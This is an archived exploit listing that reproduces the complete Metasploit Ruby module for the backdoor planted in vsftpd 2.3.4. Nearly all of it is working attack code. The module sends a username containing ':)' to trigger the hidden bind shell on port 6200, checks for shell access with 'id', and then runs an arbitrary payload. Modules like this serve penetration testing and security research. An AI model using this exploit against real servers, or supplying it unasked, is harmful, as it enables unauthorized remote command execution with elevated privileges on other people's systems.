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VSFTPD 2.3.4 Backdoor Command Execution

VSFTPD 2.3.4 Backdoor Command Execution
Posted Jul 4, 2011
Authored by H D Moore | Site metasploit.com

This Metasploit module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was present in the vsftpd-2.3.4.tar.gz archive sometime before July 3rd 2011.

tags | exploit
MD5 | 0ef4c02a9a5cf41d3a2cea609ce796e4

VSFTPD 2.3.4 Backdoor Command Execution

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##
# $Id: vsftpd_234_backdoor.rb 13093 2011-07-04 20:09:32Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'VSFTPD v2.3.4 Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the
VSFTPD download archive. This backdoor was present in the vsftpd-2.3.4.tar.gz
archive sometime before July 3rd 2011.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 13093 $',
'References' =>
[
[ 'URL', 'http://pastebin.com/AetT9sS5'],
[ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ],
],
'Privileged' => true,
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 2000,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'DisclosureDate' => 'Jul 3 2011',
'DefaultTarget' => 0))

register_options([ Opt::RPORT(21) ], self.class)
deregister_options('FTPUSER', 'FTPPASS')
end

def exploit

nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
if nsock
print_status("The port used by the backdoor bind listener is already open")
handle_backdoor(nsock)
return
end

# Connect to the FTP service port first
connect

banner = sock.get_once(-1, 30).to_s
print_status("Banner: #{banner.strip}")

sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
resp = sock.get_once(-1, 30).to_s
print_status("USER: #{resp.strip}")

if resp =~ /^530 /
print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
disconnect
return
end

if resp !~ /^331 /
print_error("This server did not response as expected: #{resp.strip}")
disconnect
return
end

sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")

# Do not bother reading the response from password, just try the backdoor

nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
if nsock
print_good("Backdoor service has been spawned, handling...")
handle_backdoor(nsock)
return
end

disconnect

end

def handle_backdoor(s)

s.put("id\n")

r = s.get_once(-1, 5).to_s
if r !~ /uid=/
print_error("The service on port 6200 does not appear to be a shell")
disconnect(s)
end

print_good("UID: #{r.strip}")

s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
handler(s)
end

end

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